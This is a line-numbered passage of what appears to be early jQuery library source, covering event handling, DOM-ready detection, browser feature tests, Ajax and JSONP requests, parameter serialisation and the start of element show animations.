  1916.                         }
  1917.                     }
  1918.                 }
  1919.                 L[H.guid] = H;
  1920.                 o.event.global[N] = true
  1921.             });
  1922.             I = null
  1923.         },
  1924.         guid: 1,
  1925.         global: {},
  1926.         remove: function(K, H, J) {
  1927.             if (K.nodeType == 3 || K.nodeType == 8) {
  1928.                 return
  1929.             }
  1930.             var G = o.data(K, "events"),
  1931.                 F, E;
  1932.             if (G) {
  1933.                 if (H === g || (typeof H === "string" && H.charAt(0) == ".")) {
  1934.                     for (var I in G) {
  1935.                         this.remove(K, I + (H || ""))
  1936.                     }
  1937.                 } else {
  1938.                     if (H.type) {
  1939.                         J = H.handler;
  1940.                         H = H.type
  1941.                     }
  1942.                     o.each(H.split(/\s+/), function(M, O) {
  1943.                         var Q = O.split(".");
  1944.                         O = Q.shift();
  1945.                         var N = RegExp("(^|\\.)" + Q.slice().sort().join(".*\\.") + "(\\.|$)");
  1946.                         if (G[O]) {
  1947.                             if (J) {
  1948.                                 delete G[O][J.guid]
  1949.                             } else {
  1950.                                 for (var P in G[O]) {
  1951.                                     if (N.test(G[O][P].type)) {
  1952.                                         delete G[O][P]
  1953.                                     }
  1954.                                 }
  1955.                             }
  1956.                             if (o.event.specialAll[O]) {
  1957.                                 o.event.specialAll[O].teardown.call(K, Q)
  1958.                             }
  1959.                             for (F in G[O]) {
  1960.                                 break
  1961.                             }
  1962.                             if (!F) {
  1963.                                 if (!o.event.special[O] || o.event.special[O].teardown.call(K, Q) === false) {
  1964.                                     if (K.removeEventListener) {
  1965.                                         K.removeEventListener(O, o.data(K, "handle"), false)
  1966.                                     } else {
  1967.                                         if (K.detachEvent) {
  1968.                                             K.detachEvent("on" + O, o.data(K, "handle"))
  1969.                                         }
  1970.                                     }
  1971.                                 }
  1972.                                 F = null;
  1973.                                 delete G[O]
  1974.                             }
  1975.                         }
  1976.                     })
  1977.                 }
  1978.                 for (F in G) {
  1979.                     break
  1980.                 }
  1981.                 if (!F) {
  1982.                     var L = o.data(K, "handle");
  1983.                     if (L) {
  1984.                         L.elem = null
  1985.                     }
  1986.                     o.removeData(K, "events");
  1987.                     o.removeData(K, "handle")
  1988.                 }
  1989.             }
  1990.         },
  1991.         trigger: function(I, K, H, E) {
  1992.             var G = I.type || I;
  1993.             if (!E) {
  1994.                 I = typeof I === "object" ? I[h] ? I : o.extend(o.Event(G), I) : o.Event(G);
  1995.                 if (G.indexOf("!") >= 0) {
  1996.                     I.type = G = G.slice(0, -1);
  1997.                     I.exclusive = true
  1998.                 }
  1999.                 if (!H) {
  2000.                     I.stopPropagation();
  2001.                     if (this.global[G]) {
  2002.                         o.each(o.cache, function() {
  2003.                             if (this.events && this.events[G]) {
  2004.                                 o.event.trigger(I, K, this.handle.elem)
  2005.                             }
  2006.                         })
  2007.                     }
  2008.                 }
  2009.                 if (!H || H.nodeType == 3 || H.nodeType == 8) {
  2010.                     return g
  2011.                 }
  2012.                 I.result = g;
  2013.                 I.target = H;
  2014.                 K = o.makeArray(K);
  2015.                 K.unshift(I)
  2016.             }
  2017.             I.currentTarget = H;
  2018.             var J = o.data(H, "handle");
  2019.             if (J) {
  2020.                 J.apply(H, K)
  2021.             }
  2022.             if ((!H[G] || (o.nodeName(H, "a") && G == "click")) && H["on" + G] && H["on" + G].apply(H, K) === false) {
  2023.                 I.result = false
  2024.             }
  2025.             if (!E && H[G] && !I.isDefaultPrevented() && !(o.nodeName(H, "a") && G == "click")) {
  2026.                 this.triggered = true;
  2027.                 try {
  2028.                     H[G]()
  2029.                 } catch (L) {}
  2030.             }
  2031.             this.triggered = false;
  2032.             if (!I.isPropagationStopped()) {
  2033.                 var F = H.parentNode || H.ownerDocument;
  2034.                 if (F) {
  2035.                     o.event.trigger(I, K, F, true)
  2036.                 }
  2037.             }
  2038.         },
  2039.         handle: function(K) {
  2040.             var J, E;
  2041.             K = arguments[0] = o.event.fix(K || l.event);
  2042.             K.currentTarget = this;
  2043.             var L = K.type.split(".");
  2044.             K.type = L.shift();
  2045.             J = !L.length && !K.exclusive;
  2046.             var I = RegExp("(^|\\.)" + L.slice().sort().join(".*\\.") + "(\\.|$)");
  2047.             E = (o.data(this, "events") || {})[K.type];
  2048.             for (var G in E) {
  2049.                 var H = E[G];
  2050.                 if (J || I.test(H.type)) {
  2051.                     K.handler = H;
  2052.                     K.data = H.data;
  2053.                     var F = H.apply(this, arguments);
  2054.                     if (F !== g) {
  2055.                         K.result = F;
  2056.                         if (F === false) {
  2057.                             K.preventDefault();
  2058.                             K.stopPropagation()
  2059.                         }
  2060.                     }
  2061.                     if (K.isImmediatePropagationStopped()) {
  2062.                         break
  2063.                     }
  2064.                 }
  2065.             }
  2066.         },
  2067.         props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
  2068.         fix: function(H) {
  2069.             if (H[h]) {
  2070.                 return H
  2071.             }
  2072.             var F = H;
  2073.             H = o.Event(F);
  2074.             for (var G = this.props.length, J; G;) {
  2075.                 J = this.props[--G];
  2076.                 H[J] = F[J]
  2077.             }
  2078.             if (!H.target) {
  2079.                 H.target = H.srcElement || document
  2080.             }
  2081.             if (H.target.nodeType == 3) {
  2082.                 H.target = H.target.parentNode
  2083.             }
  2084.             if (!H.relatedTarget && H.fromElement) {
  2085.                 H.relatedTarget = H.fromElement == H.target ? H.toElement : H.fromElement
  2086.             }
  2087.             if (H.pageX == null && H.clientX != null) {
  2088.                 var I = document.documentElement,
  2089.                     E = document.body;
  2090.                 H.pageX = H.clientX + (I && I.scrollLeft || E && E.scrollLeft || 0) - (I.clientLeft || 0);
  2091.                 H.pageY = H.clientY + (I && I.scrollTop || E && E.scrollTop || 0) - (I.clientTop || 0)
  2092.             }
  2093.             if (!H.which && ((H.charCode || H.charCode === 0) ? H.charCode : H.keyCode)) {
  2094.                 H.which = H.charCode || H.keyCode
  2095.             }
  2096.             if (!H.metaKey && H.ctrlKey) {
  2097.                 H.metaKey = H.ctrlKey
  2098.             }
  2099.             if (!H.which && H.button) {
  2100.                 H.which = (H.button & 1 ? 1 : (H.button & 2 ? 3 : (H.button & 4 ? 2 : 0)))
  2101.             }
  2102.             return H
  2103.         },
  2104.         proxy: function(F, E) {
  2105.             E = E ||
  2106.             function() {
  2107.                 return F.apply(this, arguments)
  2108.             };
  2109.             E.guid = F.guid = F.guid || E.guid || this.guid++;
  2110.             return E
  2111.         },
  2112.         special: {
  2113.             ready: {
  2114.                 setup: B,
  2115.                 teardown: function() {}
  2116.             }
  2117.         },
  2118.         specialAll: {
  2119.             live: {
  2120.                 setup: function(E, F) {
  2121.                     o.event.add(this, F[0], c)
  2122.                 },
  2123.                 teardown: function(G) {
  2124.                     if (G.length) {
  2125.                         var E = 0,
  2126.                             F = RegExp("(^|\\.)" + G[0] + "(\\.|$)");
  2127.                         o.each((o.data(this, "events").live || {}), function() {
  2128.                             if (F.test(this.type)) {
  2129.                                 E++
  2130.                             }
  2131.                         });
  2132.                         if (E < 1) {
  2133.                             o.event.remove(this, G[0], c)
  2134.                         }
  2135.                     }
  2136.                 }
  2137.             }
  2138.         }
  2139.     };
  2140.     o.Event = function(E) {
  2141.         if (!this.preventDefault) {
  2142.             return new o.Event(E)
  2143.         }
  2144.         if (E && E.type) {
  2145.             this.originalEvent = E;
  2146.             this.type = E.type
  2147.         } else {
  2148.             this.type = E
  2149.         }
  2150.         this.timeStamp = e();
  2151.         this[h] = true
  2152.     };

  2153.     function k() {
  2154.         return false
  2155.     }
  2156.     function u() {
  2157.         return true
  2158.     }
  2159.     o.Event.prototype = {
  2160.         preventDefault: function() {
  2161.             this.isDefaultPrevented = u;
  2162.             var E = this.originalEvent;
  2163.             if (!E) {
  2164.                 return
  2165.             }
  2166.             if (E.preventDefault) {
  2167.                 E.preventDefault()
  2168.             }
  2169.             E.returnValue = false
  2170.         },
  2171.         stopPropagation: function() {
  2172.             this.isPropagationStopped = u;
  2173.             var E = this.originalEvent;
  2174.             if (!E) {
  2175.                 return
  2176.             }
  2177.             if (E.stopPropagation) {
  2178.                 E.stopPropagation()
  2179.             }
  2180.             E.cancelBubble = true
  2181.         },
  2182.         stopImmediatePropagation: function() {
  2183.             this.isImmediatePropagationStopped = u;
  2184.             this.stopPropagation()
  2185.         },
  2186.         isDefaultPrevented: k,
  2187.         isPropagationStopped: k,
  2188.         isImmediatePropagationStopped: k
  2189.     };
  2190.     var a = function(F) {
  2191.             var E = F.relatedTarget;
  2192.             while (E && E != this) {
  2193.                 try {
  2194.                     E = E.parentNode
  2195.                 } catch (G) {
  2196.                     E = this
  2197.                 }
  2198.             }
  2199.             if (E != this) {
  2200.                 F.type = F.data;
  2201.                 o.event.handle.apply(this, arguments)
  2202.             }
  2203.         };
  2204.     o.each({
  2205.         mouseover: "mouseenter",
  2206.         mouseout: "mouseleave"
  2207.     }, function(F, E) {
  2208.         o.event.special[E] = {
  2209.             setup: function() {
  2210.                 o.event.add(this, F, a, E)
  2211.             },
  2212.             teardown: function() {
  2213.                 o.event.remove(this, F, a)
  2214.             }
  2215.         }
  2216.     });
  2217.     o.fn.extend({
  2218.         bind: function(F, G, E) {
  2219.             return F == "unload" ? this.one(F, G, E) : this.each(function() {
  2220.                 o.event.add(this, F, E || G, E && G)
  2221.             })
  2222.         },
  2223.         one: function(G, H, F) {
  2224.             var E = o.event.proxy(F || H, function(I) {
  2225.                 o(this).unbind(I, E);
  2226.                 return (F || H).apply(this, arguments)
  2227.             });
  2228.             return this.each(function() {
  2229.                 o.event.add(this, G, E, F && H)
  2230.             })
  2231.         },
  2232.         unbind: function(F, E) {
  2233.             return this.each(function() {
  2234.                 o.event.remove(this, F, E)
  2235.             })
  2236.         },
  2237.         trigger: function(E, F) {
  2238.             return this.each(function() {
  2239.                 o.event.trigger(E, F, this)
  2240.             })
  2241.         },
  2242.         triggerHandler: function(E, G) {
  2243.             if (this[0]) {
  2244.                 var F = o.Event(E);
  2245.                 F.preventDefault();
  2246.                 F.stopPropagation();
  2247.                 o.event.trigger(F, G, this[0]);
  2248.                 return F.result
  2249.             }
  2250.         },
  2251.         toggle: function(G) {
  2252.             var E = arguments,
  2253.                 F = 1;
  2254.             while (F < E.length) {
  2255.                 o.event.proxy(G, E[F++])
  2256.             }
  2257.             return this.click(o.event.proxy(G, function(H) {
  2258.                 this.lastToggle = (this.lastToggle || 0) % F;
  2259.                 H.preventDefault();
  2260.                 return E[this.lastToggle++].apply(this, arguments) || false
  2261.             }))
  2262.         },
  2263.         hover: function(E, F) {
  2264.             return this.mouseenter(E).mouseleave(F)
  2265.         },
  2266.         ready: function(E) {
  2267.             B();
  2268.             if (o.isReady) {
  2269.                 E.call(document, o)
  2270.             } else {
  2271.                 o.readyList.push(E)
  2272.             }
  2273.             return this
  2274.         },
  2275.         live: function(G, F) {
  2276.             var E = o.event.proxy(F);
  2277.             E.guid += this.selector + G;
  2278.             o(document).bind(i(G, this.selector), this.selector, E);
  2279.             return this
  2280.         },
  2281.         die: function(F, E) {
  2282.             o(document).unbind(i(F, this.selector), E ? {
  2283.                 guid: E.guid + this.selector + F
  2284.             } : null);
  2285.             return this
  2286.         }
  2287.     });

  2288.     function c(H) {
  2289.         var E = RegExp("(^|\\.)" + H.type + "(\\.|$)"),
  2290.             G = true,
  2291.             F = [];
  2292.         o.each(o.data(this, "events").live || [], function(I, J) {
  2293.             if (E.test(J.type)) {
  2294.                 var K = o(H.target).closest(J.data)[0];
  2295.                 if (K) {
  2296.                     F.push({
  2297.                         elem: K,
  2298.                         fn: J
  2299.                     })
  2300.                 }
  2301.             }
  2302.         });
  2303.         F.sort(function(J, I) {
  2304.             return o.data(J.elem, "closest") - o.data(I.elem, "closest")
  2305.         });
  2306.         o.each(F, function() {
  2307.             if (this.fn.call(this.elem, H, this.fn.data) === false) {
  2308.                 return (G = false)
  2309.             }
  2310.         });
  2311.         return G
  2312.     }
  2313.     function i(F, E) {
  2314.         return ["live", F, E.replace(/\./g, "`").replace(/ /g, "|")].join(".")
  2315.     }
  2316.     o.extend({
  2317.         isReady: false,
  2318.         readyList: [],
  2319.         ready: function() {
  2320.             if (!o.isReady) {
  2321.                 o.isReady = true;
  2322.                 if (o.readyList) {
  2323.                     o.each(o.readyList, function() {
  2324.                         this.call(document, o)
  2325.                     });
  2326.                     o.readyList = null
  2327.                 }
  2328.                 o(document).triggerHandler("ready")
  2329.             }
  2330.         }
  2331.     });
  2332.     var x = false;

  2333.     function B() {
  2334.         if (x) {
  2335.             return
  2336.         }
  2337.         x = true;
  2338.         if (document.addEventListener) {
  2339.             document.addEventListener("DOMContentLoaded", function() {
  2340.                 document.removeEventListener("DOMContentLoaded", arguments.callee, false);
  2341.                 o.ready()
  2342.             }, false)
  2343.         } else {
  2344.             if (document.attachEvent) {
  2345.                 document.attachEvent("onreadystatechange", function() {
  2346.                     if (document.readyState === "complete") {
  2347.                         document.detachEvent("onreadystatechange", arguments.callee);
  2348.                         o.ready()
  2349.                     }
  2350.                 });
  2351.                 if (document.documentElement.doScroll && l == l.top) {
  2352.                     (function() {
  2353.                         if (o.isReady) {
  2354.                             return
  2355.                         }
  2356.                         try {
  2357.                             document.documentElement.doScroll("left")
  2358.                         } catch (E) {
  2359.                             setTimeout(arguments.callee, 0);
  2360.                             return
  2361.                         }
  2362.                         o.ready()
  2363.                     })()
  2364.                 }
  2365.             }
  2366.         }
  2367.         o.event.add(l, "load", o.ready)
  2368.     }
  2369.     o.each(("blur,focus,load,resize,scroll,unload,click,dblclick,mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,change,select,submit,keydown,keypress,keyup,error").split(","), function(F, E) {
  2370.         o.fn[E] = function(G) {
  2371.             return G ? this.bind(E, G) : this.trigger(E)
  2372.         }
  2373.     });
  2374.     o(l).bind("unload", function() {
  2375.         for (var E in o.cache) {
  2376.             if (E != 1 && o.cache[E].handle) {
  2377.                 o.event.remove(o.cache[E].handle.elem)
  2378.             }
  2379.         }
  2380.     });
  2381.     (function() {
  2382.         o.support = {};
  2383.         var F = document.documentElement,
  2384.             G = document.createElement("script"),
  2385.             K = document.createElement("div"),
  2386.             J = "script" + (new Date).getTime();
  2387.         K.style.display = "none";
  2388.         K.innerHTML = '   <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';
  2389.         var H = K.getElementsByTagName("*"),
  2390.             E = K.getElementsByTagName("a")[0];
  2391.         if (!H || !H.length || !E) {
  2392.             return
  2393.         }
  2394.         o.support = {
  2395.             leadingWhitespace: K.firstChild.nodeType == 3,
  2396.             tbody: !K.getElementsByTagName("tbody").length,
  2397.             objectAll: !! K.getElementsByTagName("object")[0].getElementsByTagName("*").length,
  2398.             htmlSerialize: !! K.getElementsByTagName("link").length,
  2399.             style: /red/.test(E.getAttribute("style")),
  2400.             hrefNormalized: E.getAttribute("href") === "/a",
  2401.             opacity: E.style.opacity === "0.5",
  2402.             cssFloat: !! E.style.cssFloat,
  2403.             scriptEval: false,
  2404.             noCloneEvent: true,
  2405.             boxModel: null
  2406.         };
  2407.         G.type = "text/javascript";
  2408.         try {
  2409.             G.appendChild(document.createTextNode("window." + J + "=1;"))
  2410.         } catch (I) {}
  2411.         F.insertBefore(G, F.firstChild);
  2412.         if (l[J]) {
  2413.             o.support.scriptEval = true;
  2414.             delete l[J]
  2415.         }
  2416.         F.removeChild(G);
  2417.         if (K.attachEvent && K.fireEvent) {
  2418.             K.attachEvent("onclick", function() {
  2419.                 o.support.noCloneEvent = false;
  2420.                 K.detachEvent("onclick", arguments.callee)
  2421.             });
  2422.             K.cloneNode(true).fireEvent("onclick")
  2423.         }
  2424.         o(function() {
  2425.             var L = document.createElement("div");
  2426.             L.style.width = L.style.paddingLeft = "1px";
  2427.             document.body.appendChild(L);
  2428.             o.boxModel = o.support.boxModel = L.offsetWidth === 2;
  2429.             document.body.removeChild(L).style.display = "none"
  2430.         })
  2431.     })();
  2432.     var w = o.support.cssFloat ? "cssFloat" : "styleFloat";
  2433.     o.props = {
  2434.         "for": "htmlFor",
  2435.         "class": "className",
  2436.         "float": w,
  2437.         cssFloat: w,
  2438.         styleFloat: w,
  2439.         readonly: "readOnly",
  2440.         maxlength: "maxLength",
  2441.         cellspacing: "cellSpacing",
  2442.         rowspan: "rowSpan",
  2443.         tabindex: "tabIndex"
  2444.     };
  2445.     o.fn.extend({
  2446.         _load: o.fn.load,
  2447.         load: function(G, J, K) {
  2448.             if (typeof G !== "string") {
  2449.                 return this._load(G)
  2450.             }
  2451.             var I = G.indexOf(" ");
  2452.             if (I >= 0) {
  2453.                 var E = G.slice(I, G.length);
  2454.                 G = G.slice(0, I)
  2455.             }
  2456.             var H = "GET";
  2457.             if (J) {
  2458.                 if (o.isFunction(J)) {
  2459.                     K = J;
  2460.                     J = null
  2461.                 } else {
  2462.                     if (typeof J === "object") {
  2463.                         J = o.param(J);
  2464.                         H = "POST"
  2465.                     }
  2466.                 }
  2467.             }
  2468.             var F = this;
  2469.             o.ajax({
  2470.                 url: G,
  2471.                 type: H,
  2472.                 dataType: "html",
  2473.                 data: J,
  2474.                 complete: function(M, L) {
  2475.                     if (L == "success" || L == "notmodified") {
  2476.                         F.html(E ? o("<div/>").append(M.responseText.replace(/<script(.|\s)*?\/script>/g, "")).find(E) : M.responseText)
  2477.                     }
  2478.                     if (K) {
  2479.                         F.each(K, [M.responseText, L, M])
  2480.                     }
  2481.                 }
  2482.             });
  2483.             return this
  2484.         },
  2485.         serialize: function() {
  2486.             return o.param(this.serializeArray())
  2487.         },
  2488.         serializeArray: function() {
  2489.             return this.map(function() {
  2490.                 return this.elements ? o.makeArray(this.elements) : this
  2491.             }).filter(function() {
  2492.                 return this.name && !this.disabled && (this.checked || /select|textarea/i.test(this.nodeName) || /text|hidden|password|search/i.test(this.type))
  2493.             }).map(function(E, F) {
  2494.                 var G = o(this).val();
  2495.                 return G == null ? null : o.isArray(G) ? o.map(G, function(I, H) {
  2496.                     return {
  2497.                         name: F.name,
  2498.                         value: I
  2499.                     }
  2500.                 }) : {
  2501.                     name: F.name,
  2502.                     value: G
  2503.                 }
  2504.             }).get()
  2505.         }
  2506.     });
  2507.     o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","), function(E, F) {
  2508.         o.fn[F] = function(G) {
  2509.             return this.bind(F, G)
  2510.         }
  2511.     });
  2512.     var r = e();
  2513.     o.extend({
  2514.         get: function(E, G, H, F) {
  2515.             if (o.isFunction(G)) {
  2516.                 H = G;
  2517.                 G = null
  2518.             }
  2519.             return o.ajax({
  2520.                 type: "GET",
  2521.                 url: E,
  2522.                 data: G,
  2523.                 success: H,
  2524.                 dataType: F
  2525.             })
  2526.         },
  2527.         getScript: function(E, F) {
  2528.             return o.get(E, null, F, "script")
  2529.         },
  2530.         getJSON: function(E, F, G) {
  2531.             return o.get(E, F, G, "json")
  2532.         },
  2533.         post: function(E, G, H, F) {
  2534.             if (o.isFunction(G)) {
  2535.                 H = G;
  2536.                 G = {}
  2537.             }
  2538.             return o.ajax({
  2539.                 type: "POST",
  2540.                 url: E,
  2541.                 data: G,
  2542.                 success: H,
  2543.                 dataType: F
  2544.             })
  2545.         },
  2546.         ajaxSetup: function(E) {
  2547.             o.extend(o.ajaxSettings, E)
  2548.         },
  2549.         ajaxSettings: {
  2550.             url: location.href,
  2551.             global: true,
  2552.             type: "GET",
  2553.             contentType: "application/x-www-form-urlencoded",
  2554.             processData: true,
  2555.             async: true,
  2556.             xhr: function() {
  2557.                 return l.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest()
  2558.             },
  2559.             accepts: {
  2560.                 xml: "application/xml, text/xml",
  2561.                 html: "text/html",
  2562.                 script: "text/javascript, application/javascript",
  2563.                 json: "application/json, text/javascript",
  2564.                 text: "text/plain",
  2565.                 _default: "*/*"
  2566.             }
  2567.         },
  2568.         lastModified: {},
  2569.         ajax: function(M) {
  2570.             M = o.extend(true, M, o.extend(true, {}, o.ajaxSettings, M));
  2571.             var W, F = /=\?(&|$)/g,
  2572.                 R, V, G = M.type.toUpperCase();
  2573.             if (M.data && M.processData && typeof M.data !== "string") {
  2574.                 M.data = o.param(M.data)
  2575.             }
  2576.             if (M.dataType == "jsonp") {
  2577.                 if (G == "GET") {
  2578.                     if (!M.url.match(F)) {
  2579.                         M.url += (M.url.match(/\?/) ? "&" : "?") + (M.jsonp || "callback") + "=?"
  2580.                     }
  2581.                 } else {
  2582.                     if (!M.data || !M.data.match(F)) {
  2583.                         M.data = (M.data ? M.data + "&" : "") + (M.jsonp || "callback") + "=?"
  2584.                     }
  2585.                 }
  2586.                 M.dataType = "json"
  2587.             }
  2588.             if (M.dataType == "json" && (M.data && M.data.match(F) || M.url.match(F))) {
  2589.                 W = "jsonp" + r++;
  2590.                 if (M.data) {
  2591.                     M.data = (M.data + "").replace(F, "=" + W + "$1")
  2592.                 }
  2593.                 M.url = M.url.replace(F, "=" + W + "$1");
  2594.                 M.dataType = "script";
  2595.                 l[W] = function(X) {
  2596.                     V = X;
  2597.                     I();
  2598.                     L();
  2599.                     l[W] = g;
  2600.                     try {
  2601.                         delete l[W]
  2602.                     } catch (Y) {}
  2603.                     if (H) {
  2604.                         H.removeChild(T)
  2605.                     }
  2606.                 }
  2607.             }
  2608.             if (M.dataType == "script" && M.cache == null) {
  2609.                 M.cache = false
  2610.             }
  2611.             if (M.cache === false && G == "GET") {
  2612.                 var E = e();
  2613.                 var U = M.url.replace(/(\?|&)_=.*?(&|$)/, "$1_=" + E + "$2");
  2614.                 M.url = U + ((U == M.url) ? (M.url.match(/\?/) ? "&" : "?") + "_=" + E : "")
  2615.             }
  2616.             if (M.data && G == "GET") {
  2617.                 M.url += (M.url.match(/\?/) ? "&" : "?") + M.data;
  2618.                 M.data = null
  2619.             }
  2620.             if (M.global && !o.active++) {
  2621.                 o.event.trigger("ajaxStart")
  2622.             }
  2623.             var Q = /^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);
  2624.             if (M.dataType == "script" && G == "GET" && Q && (Q[1] && Q[1] != location.protocol || Q[2] != location.host)) {
  2625.                 var H = document.getElementsByTagName("head")[0];
  2626.                 var T = document.createElement("script");
  2627.                 T.src = M.url;
  2628.                 if (M.scriptCharset) {
  2629.                     T.charset = M.scriptCharset
  2630.                 }
  2631.                 if (!W) {
  2632.                     var O = false;
  2633.                     T.onload = T.onreadystatechange = function() {
  2634.                         if (!O && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
  2635.                             O = true;
  2636.                             I();
  2637.                             L();
  2638.                             T.onload = T.onreadystatechange = null;
  2639.                             H.removeChild(T)
  2640.                         }
  2641.                     }
  2642.                 }
  2643.                 H.appendChild(T);
  2644.                 return g
  2645.             }
  2646.             var K = false;
  2647.             var J = M.xhr();
  2648.             if (M.username) {
  2649.                 J.open(G, M.url, M.async, M.username, M.password)
  2650.             } else {
  2651.                 J.open(G, M.url, M.async)
  2652.             }
  2653.             try {
  2654.                 if (M.data) {
  2655.                     J.setRequestHeader("Content-Type", M.contentType)
  2656.                 }
  2657.                 if (M.ifModified) {
  2658.                     J.setRequestHeader("If-Modified-Since", o.lastModified[M.url] || "Thu, 01 Jan 1970 00:00:00 GMT")
  2659.                 }
  2660.                 J.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  2661.                 J.setRequestHeader("Accept", M.dataType && M.accepts[M.dataType] ? M.accepts[M.dataType] + ", */*" : M.accepts._default)
  2662.             } catch (S) {}
  2663.             if (M.beforeSend && M.beforeSend(J, M) === false) {
  2664.                 if (M.global && !--o.active) {
  2665.                     o.event.trigger("ajaxStop")
  2666.                 }
  2667.                 J.abort();
  2668.                 return false
  2669.             }
  2670.             if (M.global) {
  2671.                 o.event.trigger("ajaxSend", [J, M])
  2672.             }
  2673.             var N = function(X) {
  2674.                     if (J.readyState == 0) {
  2675.                         if (P) {
  2676.                             clearInterval(P);
  2677.                             P = null;
  2678.                             if (M.global && !--o.active) {
  2679.                                 o.event.trigger("ajaxStop")
  2680.                             }
  2681.                         }
  2682.                     } else {
  2683.                         if (!K && J && (J.readyState == 4 || X == "timeout")) {
  2684.                             K = true;
  2685.                             if (P) {
  2686.                                 clearInterval(P);
  2687.                                 P = null
  2688.                             }
  2689.                             R = X == "timeout" ? "timeout" : !o.httpSuccess(J) ? "error" : M.ifModified && o.httpNotModified(J, M.url) ? "notmodified" : "success";
  2690.                             if (R == "success") {
  2691.                                 try {
  2692.                                     V = o.httpData(J, M.dataType, M)
  2693.                                 } catch (Z) {
  2694.                                     R = "parsererror"
  2695.                                 }
  2696.                             }
  2697.                             if (R == "success") {
  2698.                                 var Y;
  2699.                                 try {
  2700.                                     Y = J.getResponseHeader("Last-Modified")
  2701.                                 } catch (Z) {}
  2702.                                 if (M.ifModified && Y) {
  2703.                                     o.lastModified[M.url] = Y
  2704.                                 }
  2705.                                 if (!W) {
  2706.                                     I()
  2707.                                 }
  2708.                             } else {
  2709.                                 o.handleError(M, J, R)
  2710.                             }
  2711.                             L();
  2712.                             if (X) {
  2713.                                 J.abort()
  2714.                             }
  2715.                             if (M.async) {
  2716.                                 J = null
  2717.                             }
  2718.                         }
  2719.                     }
  2720.                 };
  2721.             if (M.async) {
  2722.                 var P = setInterval(N, 13);
  2723.                 if (M.timeout > 0) {
  2724.                     setTimeout(function() {
  2725.                         if (J && !K) {
  2726.                             N("timeout")
  2727.                         }
  2728.                     }, M.timeout)
  2729.                 }
  2730.             }
  2731.             try {
  2732.                 J.send(M.data)
  2733.             } catch (S) {
  2734.                 o.handleError(M, J, null, S)
  2735.             }
  2736.             if (!M.async) {
  2737.                 N()
  2738.             }
  2739.             function I() {
  2740.                 if (M.success) {
  2741.                     M.success(V, R)
  2742.                 }
  2743.                 if (M.global) {
  2744.                     o.event.trigger("ajaxSuccess", [J, M])
  2745.                 }
  2746.             }
  2747.             function L() {
  2748.                 if (M.complete) {
  2749.                     M.complete(J, R)
  2750.                 }
  2751.                 if (M.global) {
  2752.                     o.event.trigger("ajaxComplete", [J, M])
  2753.                 }
  2754.                 if (M.global && !--o.active) {
  2755.                     o.event.trigger("ajaxStop")
  2756.                 }
  2757.             }
  2758.             return J
  2759.         },
  2760.         handleError: function(F, H, E, G) {
  2761.             if (F.error) {
  2762.                 F.error(H, E, G)
  2763.             }
  2764.             if (F.global) {
  2765.                 o.event.trigger("ajaxError", [H, F, G])
  2766.             }
  2767.         },
  2768.         active: 0,
  2769.         httpSuccess: function(F) {
  2770.             try {
  2771.                 return !F.status && location.protocol == "file:" || (F.status >= 200 && F.status < 300) || F.status == 304 || F.status == 1223
  2772.             } catch (E) {}
  2773.             return false
  2774.         },
  2775.         httpNotModified: function(G, E) {
  2776.             try {
  2777.                 var H = G.getResponseHeader("Last-Modified");
  2778.                 return G.status == 304 || H == o.lastModified[E]
  2779.             } catch (F) {}
  2780.             return false
  2781.         },
  2782.         httpData: function(J, H, G) {
  2783.             var F = J.getResponseHeader("content-type"),
  2784.                 E = H == "xml" || !H && F && F.indexOf("xml") >= 0,
  2785.                 I = E ? J.responseXML : J.responseText;
  2786.             if (E && I.documentElement.tagName == "parsererror") {
  2787.                 throw "parsererror"
  2788.             }
  2789.             if (G && G.dataFilter) {
  2790.                 I = G.dataFilter(I, H)
  2791.             }
  2792.             if (typeof I === "string") {
  2793.                 if (H == "script") {
  2794.                     o.globalEval(I)
  2795.                 }
  2796.                 if (H == "json") {
  2797.                     I = l["eval"]("(" + I + ")")
  2798.                 }
  2799.             }
  2800.             return I
  2801.         },
  2802.         param: function(E) {
  2803.             var G = [];

  2804.             function H(I, J) {
  2805.                 G[G.length] = encodeURIComponent(I) + "=" + encodeURIComponent(J)
  2806.             }
  2807.             if (o.isArray(E) || E.jquery) {
  2808.                 o.each(E, function() {
  2809.                     H(this.name, this.value)
  2810.                 })
  2811.             } else {
  2812.                 for (var F in E) {
  2813.                     if (o.isArray(E[F])) {
  2814.                         o.each(E[F], function() {
  2815.                             H(F, this)
  2816.                         })
  2817.                     } else {
  2818.                         H(F, o.isFunction(E[F]) ? E[F]() : E[F])
  2819.                     }
  2820.                 }
  2821.             }
  2822.             return G.join("&").replace(/%20/g, "+")
  2823.         }
  2824.     });
  2825.     var m = {},
  2826.         n, d = [
  2827.             ["height", "marginTop", "marginBottom", "paddingTop", "paddingBottom"],
  2828.             ["width", "marginLeft", "marginRight", "paddingLeft", "paddingRight"],
  2829.             ["opacity"]
  2830.         ];

  2831.     function t(F, E) {
  2832.         var G = {};
  2833.         o.each(d.concat.apply([], d.slice(0, E)), function() {
  2834.             G[this] = F
  2835.         });
  2836.         return G
  2837.     }
  2838.     o.fn.extend({
  2839.         show: function(J, L) {
  2840.             if (J) {
  2841.                 return this.animate(t("show", 3), J, L)
  2842.             } else {
  2843.                 for (var H = 0, F = this.length; H < F; H++) {
  2844.                     var E = o.data(this[H], "olddisplay");
  2845.                     this[H].style.display = E || "";
  2846.                     if (o.css(this[H], "display") === "none") {
  2847.                         var G = this[H].tagName,
  2848.                             K;
  2849.                         if (m[G]) {
  2850.                             K = m[G]
  2851.                         } else {
  2852.                             var I = o("<" + G + " />").appendTo("body");
  2853.                             K = I.css("display");
  2854.                             if (K === "none") {
  2855.                                 K = "block"
  2856.                             }
  2857.                             I.remove();
  2858.                             m[G] = K
  2859.                         }
  2860.                         o.data(this[H], "olddisplay", K)
  2861.                     }
  2862.                 }
  2863.                 for (var H = 0, F = this.length; H < F; H++) {
  2864.                     this[H].style.display = o.data(this[H], "olddisplay") || ""
  2865.                 }
  2866.                 return this
